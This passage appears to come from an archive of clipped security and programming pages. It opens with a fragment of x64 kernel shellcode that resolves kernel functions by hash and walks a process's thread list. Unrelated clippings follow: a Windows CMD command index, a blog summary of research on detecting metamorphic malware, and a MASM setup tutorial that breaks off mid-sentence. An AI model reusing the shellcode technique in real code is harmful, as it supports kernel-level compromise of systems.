11 | ; Clobbers: RAX, RSI, RCX  
12 | ; Return: RCX = delta offset  
13 | ;  
14 |   
15 | THREADLISTHEAD\_OFFSET equ 0x308  
16 |   
17 | find\_thread:  
18 |   
19 |  mov rax, r15  
20 |  mov r11d, PSGETCURRENTPROCESS\_HASH  
21 |  call x64\_block\_api\_direct  
22 |   
23 |  add rax, THREADLISTHEAD\_OFFSET ; PEPROCESS->ThreadListHead  
24 |  mov rsi, rax  
25 |   
26 |  mov rax, r15  
27 |  mov r11d, KEGETCURRENTTHREAD\_HASH  
28 |  call x64\_block\_api\_direct  
29 |   
30 |  mov rcx, rsi ; save ThreadListHead  
31 |   
32 | \_\_compare\_threads:  
33 |  cmp rax, rsi  
34 |  ja \_\_walk\_threads  
35 |  lea rdx, \[rax+0x500\]  
36 |  cmp rdx, rsi  
37 |  jb \_\_walk\_threads  
38 |  sub rsi, rax  
39 |  jmp \_\_calc\_thread\_exit  
40 |   
41 | \_\_walk\_threads:  
42 |  mov rsi, qword \[rsi\] ; move up the list entries  
43 |  cmp rsi, rcx ; make sure we exit this loop at some point  
44 |  jne \_\_compare\_threads  
45 |   
46 | \_\_calc\_thread\_exit:  
47 |  add rsp, 0x40  
48 |  mov rcx, rsi  
  

# Visualizing Compiled Executables for Malware Analysis

**Created:**| _10/13/2009 8:43:45 PM_  
---|---  
**Updated:**| _10/13/2009 8:44:08 PM_  
**Author:**| __  
**Tags:**| _security Malware-analysis visualization_  
  
<img src='img/Temp2_8986' />

# Windows CMD Commands

**Created:**| _6/10/2011 8:01:28 AM_  
---|---  
**Updated:**| _6/10/2011 8:01:57 AM_  
**Author:**| __  
**Tags:**| _bookmark cheat sheets_  
  

# An A-Z Index of the Windows CMD command line

[code]

       ADDUSERS Add or list users to/from a CSV file
       ARP      Address Resolution Protocol
       ASSOC    Change file extension associations•
       ASSOCIAT One step file association
       ATTRIB   Change file attributes
    b
       BCDBOOT  Create or repair a system partition
       BOOTCFG  Edit Windows boot settings
       BROWSTAT Get domain, browser and PDC info
    c
       CACLS    Change file permissions
       CALL     Call one batch program from another•
       CD       Change Directory - move to a specific Folder•
       CHANGE   Change Terminal Server Session properties
       CHKDSK   Check Disk - check and repair disk problems
       CHKNTFS  Check the NTFS file system
       CHOICE   Accept keyboard input to a batch file
       CIPHER   Encrypt or Decrypt files/folders
       CleanMgr Automated cleanup of Temp files, recycle bin
       CLEARMEM Clear memory leaks
       CLIP     Copy STDIN to the Windows clipboard.
       CLS      Clear the screen•
       CLUSTER  Windows Clustering
       CMD      Start a new CMD shell
       CMDKEY   Manage stored usernames/passwords
       COLOR    Change colors of the CMD window•
       COMP     Compare the contents of two files or sets of files
       COMPACT  Compress files or folders on an NTFS partition
       COMPRESS Compress individual files on an NTFS partition
       CON2PRT  Connect or disconnect a Printer
       CONVERT  Convert a FAT drive to NTFS.
       COPY     Copy one or more files to another location•
       CSCcmd   Client-side caching (Offline Files)
       CSVDE    Import or Export Active Directory data 
    d
       DATE     Display or set the date•
       DEFRAG   Defragment hard drive
       DEL      Delete one or more files•
       DELPROF  Delete NT user profiles
       DELTREE  Delete a folder and all subfolders
       DevCon   Device Manager Command Line Utility 
       DIR      Display a list of files and folders•
       DIRUSE   Display disk usage
       DISKCOMP Compare the contents of two floppy disks
       DISKCOPY Copy the contents of one floppy disk to another
       DISKPART Disk Administration
       DNSSTAT  DNS Statistics
       DOSKEY   Edit command line, recall commands, and create macros
       DSACLs   Active Directory ACLs
       DSAdd    Add items to active directory (user group computer) 
       DSGet    View items in active directory (user group computer)
       DSQuery  Search for items in active directory (user group computer)
       DSMod    Modify items in active directory (user group computer)
       DSMove   Move an Active directory Object
       DSRM     Remove items from Active Directory
    e
       ECHO     Display message on screen•
       ENDLOCAL End localisation of environment changes in a batch file•
       ERASE    Delete one or more files•
       EVENTCREATE Add a message to the Windows event log
       EXIT     Quit the current script/routine and set an errorlevel•
       EXPAND   Uncompress files
       EXTRACT  Uncompress CAB files
    f
       FC       Compare two files
       FIND     Search for a text string in a file
       FINDSTR  Search for strings in files
       FOR /F   Loop command: against a set of files•
       FOR /F   Loop command: against the results of another command•
       FOR      Loop command: all options Files, Directory, List•
       FORFILES Batch process multiple files
       FORMAT   Format a disk
       FREEDISK Check free disk space (in bytes)
       FSUTIL   File and Volume utilities
       FTP      File Transfer Protocol
       FTYPE    Display or modify file types used in file extension associations•
    g
       GLOBAL   Display membership of global groups
       GOTO     Direct a batch program to jump to a labelled line•
       GPUPDATE Update Group Policy settings
    h
       HELP     Online Help
    i
       iCACLS   Change file and folder permissions
       IF       Conditionally perform a command•
       IFMEMBER Is the current user in an NT Workgroup
       IPCONFIG Configure IP
    k
       KILL     Remove a program from memory
    l
       LABEL    Edit a disk label
       LOCAL    Display membership of local groups
       LOGEVENT Write text to the NT event viewer
       LOGMAN   Manage Performance Monitor
       LOGOFF   Log a user off
       LOGTIME  Log the date and time in a file
    m
       MAPISEND Send email from the command line
       MBSAcli  Baseline Security Analyzer. 
       MEM      Display memory usage
       MD       Create new folders•
       MKLINK   Create a symbolic link (linkd)
       MODE     Configure a system device
       MORE     Display output, one screen at a time
       MOUNTVOL Manage a volume mount point
       MOVE     Move files from one folder to another•
       MOVEUSER Move a user from one domain to another
       MSG      Send a message
       MSIEXEC  Microsoft Windows Installer
       MSINFO   Windows NT diagnostics
       MSTSC    Terminal Server Connection (Remote Desktop Protocol)
       MV       Copy in-use files
    n
       NET      Manage network resources
       NETDOM   Domain Manager
       NETSH    Configure Network Interfaces, Windows Firewall & Remote access
       NETSVC   Command-line Service Controller
       NBTSTAT  Display networking statistics (NetBIOS over TCP/IP)
       NETSTAT  Display networking statistics (TCP/IP)
       NOW      Display the current Date and Time 
       NSLOOKUP Name server lookup
       NTBACKUP Backup folders to tape
       NTRIGHTS Edit user account rights
    o
       OPENFILES Query or display open files
    p
       PATH     Display or set a search path for executable files•
       PATHPING Trace route plus network latency and packet loss
       PAUSE    Suspend processing of a batch file and display a message•
       PERMS    Show permissions for a user
       PERFMON  Performance Monitor
       PING     Test a network connection
       POPD     Restore the previous value of the current directory saved by PUSHD•
       PORTQRY  Display the status of ports and services
       POWERCFG Configure power settings
       PRINT    Print a text file
       PRINTBRM Print queue Backup/Recovery
       PRNCNFG  Display, configure or rename a printer
       PRNMNGR  Add, delete, list printers set the default printer
       PROMPT   Change the command prompt•
       PsExec     Execute process remotely
       PsFile     Show files opened remotely
       PsGetSid   Display the SID of a computer or a user
       PsInfo     List information about a system
       PsKill     Kill processes by name or process ID
       PsList     List detailed information about processes
       PsLoggedOn Who's logged on (locally or via resource sharing)
       PsLogList  Event log records
       PsPasswd   Change account password
       PsService  View and control services
       PsShutdown Shutdown or reboot a computer
       PsSuspend  Suspend processes
       PUSHD    Save and then change the current directory•
    q
       QGREP    Search file(s) for lines that match a given pattern.
    r
       RASDIAL  Manage RAS connections
       RASPHONE Manage RAS connections
       RECOVER  Recover a damaged file from a defective disk.
       REG      Registry: Read, Set, Export, Delete keys and values
       REGEDIT  Import or export registry settings
       REGSVR32 Register or unregister a DLL
       REGINI   Change Registry Permissions
       REM      Record comments (remarks) in a batch file•
       REN      Rename a file or files•
       REPLACE  Replace or update one file with another
       RD       Delete folder(s)•
       RMTSHARE Share a folder or a printer
       ROBOCOPY Robust File and Folder Copy
       ROUTE    Manipulate network routing tables
       RUN      Start | RUN commands
       RUNAS    Execute a program under a different user account
       RUNDLL32 Run a DLL command (add/remove print connections)
    s
       SC       Service Control
       SCHTASKS Schedule a command to run at a specific time
       SCLIST   Display NT Services
       SET      Display, set, or remove environment variables•
       SETLOCAL Control the visibility of environment variables•
       SETX     Set environment variables permanently
       SFC      System File Checker 
       SHARE    List or edit a file share or print share
       SHIFT    Shift the position of replaceable parameters in a batch file•
       SHORTCUT Create a windows shortcut (.LNK file)
       SHOWGRPS List the NT Workgroups a user has joined
       SHOWMBRS List the Users who are members of a Workgroup
       SHUTDOWN Shutdown the computer
       SLEEP    Wait for x seconds
       SLMGR    Software Licensing Management (Vista/2008)
       SOON     Schedule a command to run in the near future
       SORT     Sort input
       START    Start a program or command in a separate window•
       SU       Switch User
       SUBINACL Edit file and folder Permissions, Ownership and Domain
       SUBST    Associate a path with a drive letter
       SYSTEMINFO List system configuration
    t
       TASKLIST List running applications and services
       TASKKILL Remove a running process from memory
       TIME     Display or set the system time•
       TIMEOUT  Delay processing of a batch file
       TITLE    Set the window title for a CMD.EXE session•
       TLIST    Task list with full path
       TOUCH    Change file timestamps    
       TRACERT  Trace route to a remote host
       TREE     Graphical display of folder structure
       TSSHUTDN Remotely shut down or reboot a terminal server
       TYPE     Display the contents of a text file•
       TypePerf Write performance data to a log file
    u
       USRSTAT  List domain usernames and last login
    v
       VER      Display version information•
       VERIFY   Verify that files have been saved•
       VOL      Display a disk label•
    w
       WHERE    Locate and display files in a directory tree
       WHOAMI   Output the current UserName and domain
       WINDIFF  Compare the contents of two files or sets of files
       WINMSD   Windows system diagnostics
       WINMSDP  Windows system diagnostics II
       WINRM    Windows Remote Management
       WINRS    Windows Remote Shell
       WMIC     WMI Commands
       WUAUCLT  Windows Update
    x
       XCACLS   Change file and folder permissions
       XCOPY    Copy files and folders
       ::       Comment / Remark•
    
    
[/code]

Commands marked • are _Internal_ commands only available within the CMD shell.  
All other commands \(not marked with •\) are _external_ commands which may be
used under the CMD shell, PowerShell, or directly from START-RUN.

Windows RUN Commands, Microsoft Help pages: Windows XP \- 2003 Server \- 2008
Server  
Discussion forum  
Links to other Sites, books etc...

# Marco Ramilli's Blog: Detection of Metamorphic Malware

**Created:**| _1/5/2012 10:03:49 AM_  
---|---  
**Updated:**| _1/5/2012 10:03:49 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

Hi Folks,

this morning I'd like to share an interesting paper entitle: Detection of
Metamorphic and Virtualization-based Malware using Algebraic Specification,
from Matt Webster and Grant Malcolm.

  

They present an overview of the latest developments in the detection of
metamorphic and virtualization- based malware using an algebraic specification
of the Intel 64 assembly programming language. After giving an overview of
related work, they describe the development of a specification of a subset of
the Intel 64 instruction set in Maude, an advanced formal algebraic
specification tool.

  

They have been developing the technique of metamorphic malware detection based
on equivalence-in-context so that it is applica- ble to imperative programming
languages in general. They finally give two examples of how this might be used
in a practical setting to detect metamorphic malware.

  

<img src='img/Temp2_5209.png' width='400' height='183' />

From Webster and Malcolm's paper

  

The image shows their basic concept. Signature-based detection of a
metamorphic computer virus, by application of "equivalence- in-
context".Instruction sequences c and σ are semi-equivalent with respect to W .
Applying the result in Corollary 1 \(If p1 ≡W p2 and p1; ψ ≡W ∪Vout \(ψ\) p2;
ψ for instruction se- quences p1, p2, ψ and W ∪ Vout\(ψ\) = V , then p1;ψ ≡
p2;ψ.\) to c,σ and ψ reveals that in fact c;ψ ≡ σ;ψ and therefore c has been
identified as equivalent to signature σ, resulting in detection of the virus.
This method could result in a false positive as there may be a non-malware
instruction sequence which is equivalent-in-context of some signature.

  

It's not an easy paper to be read \(at least for myself\), but I think it is
something very useful to know. I am not interested in the details so far, but
having the possibility to know what you can do \(in term of Malware
detection\) through formal analysis let you open new doors in terms of
detections.

# Assembly Language For Intel-Based Computers, 5/e

**Created:**| _9/19/2009 9:01:42 PM_  
---|---  
**Updated:**| _9/19/2009 9:02:01 PM_  
**Author:**| __  
**Tags:**| _setup asm windows reversing Tutorials_  
  
Getting Started with MASM  
---  
Updated 9/12/2009 If you've recently purchased **Assembly Language for Intel-
Based Computers** , 5th edition, you probably want to get the software set up
so you can start working. This tutorial should make the process easier. If
you're in a hurry to get started, you only need to read Item 1.

  1. Required setup for 32-bit applications
  2. Building 16-bit applications \(Chapters 12-16\)
  3. Project properties settings
  4. Creating a project from scratch
  5. Generating a source listing file
  6. Using the Visual Studio debugger
  7. MASM syntax highlighting
  8. Assembling, linking, and debugging with a batch file

Found an error in this document? Please email me immediately. Except where
noted, all instructions in this document apply equally to Visual Studio and
Visual C++ Express.

* * *
## Required Setup for 32-bit Applications

First, you must install some version of Visual Studio or Visual C++ Express:

  1. Microsoft Visual Studio installs a copy of the Microsoft Assembler if you select the C++ language installation option when installing Visual Studio.
  2. Visual C++ 2008 Express Service Pack 1 assembles MASM programs. Visit the download site for Visual C++ 2008 Express
  3. If you have an existing installation of Visual C++ 2005 Express, you must download and install Microsoft Assembler 8.0 \(see below\).

When you run the setup program for either of these, make a note of the
location where the C++ compiler is installed. This information will be useful
to you later. You can verify that the Microsoft Assembler is installed by
looking for the file **ml.exe** in the \vc\bin folder of your Visual Studio
installation directory, such as c:\Program Files\Microsoft Visual Studio
9.0\vc\bin. **Downloading and installing the Microsoft Assembler 8.0:** Visit
Microsoft's MASM 8.0 download site. Follow the download and installation
instructions on the Microsoft page. If the link is broken, please let us know
by email. This MASM download only works with Visual C++ 2005 Express. MASM 8.0
is almost identical to MASM 9.0.

### Next: Install the Book's Example Programs

Click this link to get the latest copy of the book's link libraries and example programs. The examples are stored in a self-extracting archive file that automatically extracts to the **c:\Irvine** folder. Unless you have some objection to using that location, do not alter the path. \(Lab managers: you can designate c:\Irvine directory as read-only.\) If you plan to change the installation location, read our instructions relating to changing project propertie**s**. The folllowing files will be copied into the c:\Irvine directory: | **Filename**| **Description**  
---|---  
GraphWin.inc | Include file for writing Windows applications   
Irvine16.inc | Include file used with the Irvine16 link library \(16-bit applications\)   
Irvine16.lib | 16-bit link function library used with this book   
Irvine32.inc | Include file used with the Irvine32 link library \(32-bit applications\)   
Link16.exe | 16-bit linker   
Irvine32.lib | 32-bit link function library used with this book   
Macros.inc | Include file containing macros \(explained in Chapter 10\)   
SmallWin.inc | Small-sized include file, used by Irvine32.inc   
make16.bat | Batch file for building 16-bit applications   
VirtualKeys.inc | Keyboard code definitions file, used by Irvine32.inc   
A subdirectory named **Examples** will contain all the example programs shown
in the book.

### Building a Sample Assembly Language Program

#### Preliminary Step: Set Tab Size to 5

Start Visual C++ Express, and select **Options** from the **Tools** menu.
Select **Text Editor** , Select **All Languages** , and select **Tabs** :

<img src='img/Temp2_902.gif' width='164' height='145' />

Set the Tab Size and Indent Size to 5.

#### Opening a Project

Visual Studio and Visual C++ Express require assembly language source files to
belong to a _project_ , which is a kind of container. A **project** holds
configuration information such as the locations of the assembler, linker, and
required libraries. A project has its own folder, and it holds the names and
locations of all files belonging to it. We have created a sample project
folder in the **c:\Irvine\Examples** directory, and its name is
**Project\_Sample**.

Do the following steps, in order:

  1. Start Visual Studio or Visual C++ Express.
  2. If you're using Visual Studio, select **Open Project** from the File menu. Or, if you're using Visual C++ Express, select **Open** , and select **Project/Solution.**
  3. Navigate to the **c:\Irvine\Examples\Project\_Sample** folder and open the file named **Project.sln**.
  4. In the _Solution Explorer_ window, click the + symbol next to the item named **Project** to expand it. Double-click the file named **main.asm** to open it in the editing window. _\(Visual Studio users may see a popup dialog asking for the encoding method used in the asm file. just click the OK button to continue.\)_

_**Tip:**_ If the _Solution Explorer_ window is not visible, select **Solution
Explorer** from the _View_ menu. Also, if you do not see _main.asm_ in the
_Solution Explorer_ window, look at the tabs along the bottom of the window.
Click the **Solution Explorer** tab.  
---  
You should see the following program in the editor window:

[code]

    TITLE MASM Template                             (main.asm)
    
    ; Description:
    ; 
    ; Revision date:
    
    INCLUDE Irvine32.inc
    
    .data
    myMessage BYTE "MASM program example",0dh,0ah,0
    
    .code
    main PROC
        call Clrscr
    
        mov  edx,OFFSET myMessage
        call WriteString
    
        exit
    main ENDP
    
    END main
    
    
[/code]  
---  
Later, we'll show you how to copy this program and use it as a starting point
to write your own programs.

#### Build the Program

Next, you will build \(assemble and link\) the sample program:

  * If you're using Visual C++ Express, select **Build Solution** from the **Build** menu.
  * If you're using Visual Studio, select **Build Project** from the **Build** menu.

In the output window at the bottom of the screen, you should see messages
similar to the following, indicating the build progress:

[code]

    1>------ Build started: Project: Project, Configuration: Debug Win32 ------
    1>Assembling...
    1>Assembling: .\main.asm
    1>Linking...
    1>Embedding manifest...
    1>Build log was saved at "file://g:\masm\Project_sample\Debug\BuildLog.htm"
    1>Project - 0 error(s), 0 warning(s)
    ========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
    
[/code]  
---  
If you do not see these messages, the project has probably not been modified
since it was last built. No problem--just add a space somewhere in the
document, save it, and try the Build command again.

#### Run the Program

Select **Start without Debugging** from the **Debug** menu. The following
console window should appear, although your window will be larger than the one
shown here:

<img src='img/Temp2_897.gif' width='501' height='151' />

The "Press any key to continue..." message is automatically generated by
Visual C++ Express.

Congratulations, you have just run your first Assembly Language program.

Press any key to close the Console window.

When you assembled and linked the project, a file named **Project.exe** was
created inside the project's \Debug folder. This is the file that executes
when you run the project. You can execute Project.exe by double-clicking its
name inside Windows Explorer, but it will just flash on the screen and
disappear. That is because Windows Explorer does not pause the display before
closing the command window.  
---  
#### Creating New Projects of Your Own

Before long, you will want to create your own projects. The easiest way to do
this is to copy the entire **c:\Irvine\Examples\Project\_Sample** folder to a
new location. Copy it to a folder in which you have read/write permissions.
\(If you're working in a college computer lab, a useful location is a portable
USB drive. Then you can modify the program, build, and run it again.

### Step 5: Running the Sample Program in Debug Mode

In this step, you will set a breakpoint inside the sample program. Then you
will use the Visual C++ debugger to step through the program's execution one
statement at a time.

  1. To begin stepping through your program in Debug mode, press the F10 key.
  2. A yellow arrow will appear next to the first program statement \(_call Clrscr_\).The arrow indicates that the statement is next to be executed.
  3. Press the F10 key \(called _Step Over_\) to execute the current statement. Continue pressing F10 until the program is about to execute the **exit** statement.
  4. A small black window icon should appear on your Windows status bar. Open it and look at the contents of the Command window. You should see the words "MASM program example" in the window.
  5. Press F10 one more time to end the program.

<img src='img/Temp2_899.gif' width='644' height='598' />

#### Registers

If you want to display the CPU registers, do the following: Start debugging
the program, then select _Windows_ from the _Debug_ menu. Select _Registers_
from the drop-down list. The bottom window will display the register contents.
Right click this window and check the item _Flags_ to enable the display of
conditional flags.

You can interrupt a debugging session at any time by selecting _Stop
Debugging_ from the Debug menu. You can do the same by clicking the blue
square button on the toolbar. To remove a breakpoint from the program, click
on the red dot so that it disappears.

#### Setting a BreakPoint

If you set a breakpoint in a program, you can use the debugger to execute the
program a full speed \(more or less\) until it reaches the breakpoint. At that
point, the debugger drops into single-step mode.

  1. Click the mouse along the border to the left of the call WriteString statement. A large red dot should appear in the margin.
  2. Select Start Debugging from the Debug menu. The program should run, and pause on the line with the breakpoint, showing the same Yellow arrow as before.
  3. Press F10 until the program finishes.

You can remove a breakpoint by clicking its red dot with the mouse. Take a few
minutes to experiment with the Debug menu commands. Set more breakpoints and
run the program again. For the time being, you can use the F11 key to step
through the program in the same way the F10 key did.

#### Building and Running Other Programs

Suppose you want to run another example program, or possibly create your own
program. You can either edit and modify main.asm, or you can remove main.asm
from the project and insert some other .asm file into the project.

  * To remove a program from a project without deleting the file, right-click its name in the _Solution Explorer window_. In the context menu, select **Exclude from Project**. If you change your mind and decide to add it back to the project, right-click in the same window, select **Add,** select **Existing item,** and select the file you want to add.
  * To remove a program from a project and delete the source code file, select the file with the mouse and press the **Del** key. Or, you can right-click the file name and select **Remove.**

#### Adding a File to a Project

The easiest way to add an assembly language source file to an open project is
to drag its filename with the mouse from a Windows Explorer window onto the
name of your project in the Solution Explorer window. A reference to the file
\(not a copy\) will be inserted in your project's directory. Try this now:

  1. Remove the main.asm file from your project.
  2. Add a reference to the file c:\Irvine\Examples\ch03\AddSub.asm to the project.
  3. Build and run the project.

Here is what you should see in the Console window, except that only your EAX
register will have the same value as ours:

<img src='img/Temp2_895.gif' width='597' height='163' />

When you press a key, the console window will close.

#### Copying a source file

If you want to make a copy of an existing file, use Windows Explorer to copy
the file into your project directory. Then, right-click the project name in
Solution Explorer, select Add, select Existing Item, and select the filename.

Return to top or read about Project Properties settings.

####

####

####

####

####

* * *
## Building 16-bit Applications \(Chapters 12-16\)

Only Chapters 12 through 16 require the building of 16-bit applications.
Except for a few exceptions, which are noted in the book, your 16-bit
applications will run under Windows XP and Windows Vista.

If you plan to build 16-bit applications, you need to add two new commands to
the Tools menu in Visual C++ Express \(or Visual Studio\). To add a command,
select **External Tools** from the Tools menu. The following dialog will
appear, although many of the items in your list on the left side will be
missing:

<img src='img/Temp2_898.gif' width='396' height='398' />

### Step 1: Create the Build 16-bit ASM Command

Click the **Add** button and fill in the Title, Command, Arguments, and
Initial directory fields as shown in the screen snapshot. If you click the
buttons with arrows on the right side of the Arguments and Initial directory
fields, a convenient list appears. You can select an item without having to
worry about spelling:

<img src='img/Temp2_905.gif' width='144' height='357' />

Click the **Apply** button to save the command.

### Step 2: Create the Run 16-bit ASM Command

Click the Add button again, and create a new command named **Run 16-bit ASM**
:

<img src='img/Temp2_892.gif' width='396' height='398' />

Click the OK button to save the command and close the External Tools dialog.

#### Testing Your new 16-Bit Commands

To test your new 16-bit commands, open the file named **16-bit.asm** from the
ch03 folder in the book's example programs. Select **Build 16-bit ASM** from
the Tools menu. The following command window should appear, showing the
successful execution of the assembler and linker, followed by a listing of all
files related to this program:

<img src='img/Temp2_903.gif' width='637' height='283' />

Press a key to close the window. Next, you will run the program. Select **Run
16-bit ASM** from the Tools menu. The following window will appear, although
the contents of all registers except EAX will be different:

<img src='img/Temp2_888.gif' width='533' height='163' />

Press a key to close the window.

You have completed the setup for building and running 16-bit assembly language
programs.

Return to top  

## Project Properties Settings

You might be interested to know more about how Visual C++ projects are set up
for assembly language programs.

Assuming that our sample project is still open, select **Project Properties**
from the Project menu. Expand the entry under **Configuration Properties**.
Then expand the entry named **Microsoft Macro Assembler**. This is what you
should see:

<img src='img/Temp2_889.gif' width='749' height='521' />

Click the entry named **General** under **Microsoft Macro Assembler** . Notice
that the **Include Paths** option has been set to the c:\Irvine directory.
This tells the assembler where to find files having a filename extension of
".inc". Here is a sample:

<img src='img/Temp2_908.gif' width='749' height='521' />

Next, select the **Listing File** entry, also in the Microsoft Macro Assembler
group. Notice that the Assembled Code Listing File entry \(shown below\) has
been assigned a macro name \(starting with $\) that identifies the name of the
source input file, with a file extension of .lst. So, if your program were
named main.asm, the listing file would be named main.lst:

<img src='img/Temp2_891.gif' width='749' height='521' />

Find the Linker entry under **Configuration Properties**. Select the **Input**
entry, and notice that two filenames have been added to the **Additional
Dependencies** entry. The **user32.lib** file is a standard MS-Windows file.
The **irvine32.lib** file is the link library file supplied with this book.
There must be at least one space separating the file names:

<img src='img/Temp2_887.gif' width='749' height='521' />

Next, select **Linker** under Configuration Properties, and then select
**General**. The **Additional Library Directories** option equals
**c:\Irvine** , so the linker can find the Irvine32.lib library file:

<img src='img/Temp2_901.gif' width='749' height='521' />

Select **Linker** under the **Configuration Properties** and select
**Debugging**. Notice that the **Generate Debug** **Info** option is set to
**Yes:**

<img src='img/Temp2_904.gif' width='749' height='521' />

Select **System** under the **Linker** entry. Notice that the SubSystem option
has been set to **Console** :

<img src='img/Temp2_894.gif' width='749' height='521' />

We use the Console setting because it is easy for assembly language programs
to write output to a text console \(Command\) window. This is the window you
see when running cmd.exe from the Start > Run menu in Windows.

Click the OK button to close the Project Property Pages window.

Return to top  

* * *
### Generating a Source Listing File

Open the project. From the menu, select **Project** , select **Project
Properties**. In the list box, select **Microsoft Macro Assembler** , then
select **Listing File**. Set the **Assembled Code Listing file** option to
**$\(InputName\).lst**.

Return to top

* * *
## Creating a Project from Scratch

You do not have to create your own projects completely by yourself. Quite
frankly, it's a lot of work. We've placed a copy of the **Project\_sample**
project in each folder of the book's example programs. You can just add your
own program to one of these projects.

You can name a project anything you want, of course, but we will assume your
project is named **MyProject** in the following examples, and that you will
save it in the **c:\temp** directory. The commands are a little different,
depending on which software you use:

### Visual C++ Express

1\. Select **New** from the File menu, and select **Project**.

2\. In the New Project window, select **General** , and select **Empty
Project** as the project type:

<img src='img/Temp2_896.gif' width='681' height='495' />

You probably will want to leave the _Create directory for solution_ option
unchecked.

3\. Click the OK button to create the empty project.

### Visual Studio

  1. Select **New Project** from the **File** menu.
  2. In the New Project dialog \(shown in the image below\), select **Other Languages** , select **Visual C++** , select **General** , and select **Empty Project**.
  3. Give a name to the project and select the location. Do not change any other options.
  4. Click the OK button.

<img src='img/Temp2_906.gif' width='681' height='495' />

You probably will want to leave the _Create directory for solution_ option
unchecked.

### Both Visual Studio and Visual C++ Express

  1. Use Windows Explorer or My Computer to copy the file **main.asm** from the \examples\Project\_sample folder into the project folder you must created. \(In our example, the folder is named MyProject\).
  2. Back in Visual Studio or Visual C++ Express, right click your project name in the Solution Explorer window. Select Add, select Existing Item, and select main.asm. \(The file may not show up until you input \*.asm in the filename box.\) Click the Add button to add it to your project.
  3. At this point, you may see the following Matching Custom Build Rules window. If you do, select the MASM rule and click the OK button: <img src='img/Temp2_907.gif' width='719' height='421' />Then, proceed directly to Step 4.
  4. Select **Custom Build Rules** from the Project menu. You will see a list of Rule files, which will vary depending on which software you are using. Place a check next to Microsoft Macro Assembler:

<img src='img/Temp2_900.gif' width='666' height='423' />

Click the OK button to close this window.

4\. Next, you need to add some customizations. We will assume you installed
the book's files in the c:\Irvine directory. Make all changes shown in the
Project Properties Settings section of this document. If you installed the
book's sample programs in some other location than c:\Irvine, you'll need to
make appropriate changes to the project properties.

5\. Select **Build Solution**. If your Output window is similar to the
following message, you did everything right:

[code]

    1>------ Build started: Project: MyProject, Configuration: Debug Win32
    1>Linking...
    1>Embedding manifest...
    1>Build log was saved at "file://c:\temp\MyProject\Debug\BuildLog.htm"
    1>MyProject - 0 error(s), 0 warning(s)
    ========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped
[/code]

Return to top  

* * *
### MASM syntax highlighting

When a text editor uses syntax highlighting, language keywords, strings, and
other elements appear in different colors. Visual Studio and Visual C++
Express can highlight MASM reserved words and strings, as shown in the
following example:

<img src='img/Temp2_899.gif' width='644' height='598' />

This won't happen automatically, but you can create a syntax definition file
named Usertype.dat that contains MASM keywords. Then when Visual Studio \(or
Visual C++ Express\) starts, it reads the syntax file and highlights MASM
keywords.

Here are the required steps to set up MASM syntax highlighting in Visual
Studio or Visual C++ Express:

1\) Download the Usertype.dat file given here to a folder in which you have
read/write permissions. If you are using Windows Vista, download to My
Documents, or C:\temp, or any folder that doesn't have security restrictions.

2\) Copy Usertype.dat to the C:\Program Files\Microsoft Visual Studio
9.0\Common7\IDE folder. If you are using Windows Vista, it will display a
verification window before copying the file.

3\) Open Visual Studio or Visual C++ Express, select **Options** from the
Tools menu, select **Text Editor** , and select **File Extension**. On the
right side of the dialog \(shown below\), enter **asm** as the extension,
select **Microsoft Visual C++** from the Editor list, and click the **Add**
button. Click the **OK** button to save your changes.

<img src='img/Temp2_893.gif' width='644' height='382' />

Close Visual Studio and restart it. Open your project and display an ASM file.
You should see syntax highlighting in the editor.

Return to top  

* * *
## Assembling, Linking, and Debugging with a Batch File

Many people like to use a _Windows batch file_ to assemble and link programs.
A batch file is a text file containing a sequence of commands that execute as
if they had been typed at the command prompt. In fact, they are powerful
enough to contain variables, loops, IF statements, and so on.

The easiest way to run a batch file is to first open a Command window and then
type the name of the batch file \(along with arguments\) at the command
prompt. To open a Command window, you must execute a program named
**cmd.exe**. We will make that easy for you.

**Step 1:** Download a ZIP file containing the following items:

  * **A shortcut to cmd.exe,** which opens a Command window in the current directory
  * **asm32.bat** , a batch file for assembling and linking programs
  * **main.asm** , a sample assembly language program

There are two different versions of the ZIP file:

  * If you're using Visual Studio 2008 or Visual C++ 2008 Express \(SP1\), click here.
  * If you're using Visual Studio 2005 or Visual C++ 2005 Express, click here.

**Step 2:** Extract the ZIP file into the c:\Irvine\Examples directory on your
computer.

**Step 3:** Do the following:

  * Copy asm32.bat to any directory on your system path. By doing this, you make it possible for MS-Windows to recognize **asm32** as a valid command when typed at the MS-Windows command prompt.\(If you want to find out which directories are on the current system path, type **path** and press Enter at the system command prompt.\)
  * Double-click the shortcut to **cmd.exe**. A Command window should appear.
  * At the command prompt in this window, type **asm32** and press Enter. This will execute the asm32 batch file and display help information.

[code]

    This file assembles, links, and debugs a single assembly language
    source file. Before using it, install Visual Studio 2008 in the following
    directory: 
    
        C:\Program Files\Microsoft Visual Studio 9.0
    
    
    Next, install the Irvine 5th edition link libraires and include
    files in the following directory: C:\Irvine
    
    
    Finally, copy this batch file to a location on your system path.
    We recommend the following directory: 
    
    
    C:\Program Files\Microsoft Visual Studio 9.0\VC\bin
    
    
    Command-line syntax:
    
      asm32 [/H | /h | -H | -h] -- display this help information
    
      asm32 filelist -- assemble and link all files
      asm32 /D filelist -- assemble, link, and debug
      asm32 /C filelist -- assemble only
    
    <filelist> is a list of up to 5 filenames (without extensions),
    separated by spaces. The filenames are assumed to refer to files
    having .asm extensions. Command-line switches are case-sensitive.
    
[/code]  
---  
Type the following command to assemble and link a source file named
**main.asm** :

[code]

        asm32 main
    
[/code]

You should see the following messages:

[code]

     Assembling: main.asm
    
[/code]

[code]

    The file main.obj was produced.
    ..................................
    
[/code]

[code]

    Linking main.obj to the Irvine32, Kernel32, and User32 libraries.
    
[/code]

[code]

    The file main.exe was produced.
    ..................................
    
[/code]  
---  
In fact, several files were produced.

  * main.obj - the object file
  * main.ilk - incremental link status file
  * main.pdb - debug symbol file

If there were errors in the program, you would see error messages generated by
the assembler. Here is an example:

[code]

     Assembling: main.asm  
    main.asm(9) : error A2008: syntax error : myMessage  
    main.asm(15) : error A2006: undefined symbol : myMessage
    
    
[/code]

You would then open the main.asm file with a text editor \(such as Notepad\),
fix the errors, and run the asm32 batch file again.

Although we used a file named main.asm in this example, the asm32.bat batch
file will work for any assembly language file, regardless of the name. The
only requirement is that your assembly language source file have a **.asm**
filename extension.  
---  
#### Assembling Programs in Other Directories

No doubt, you will want to assemble programs in various different disk
folders, not just the batch\_sample folder used in the foregoing example. All
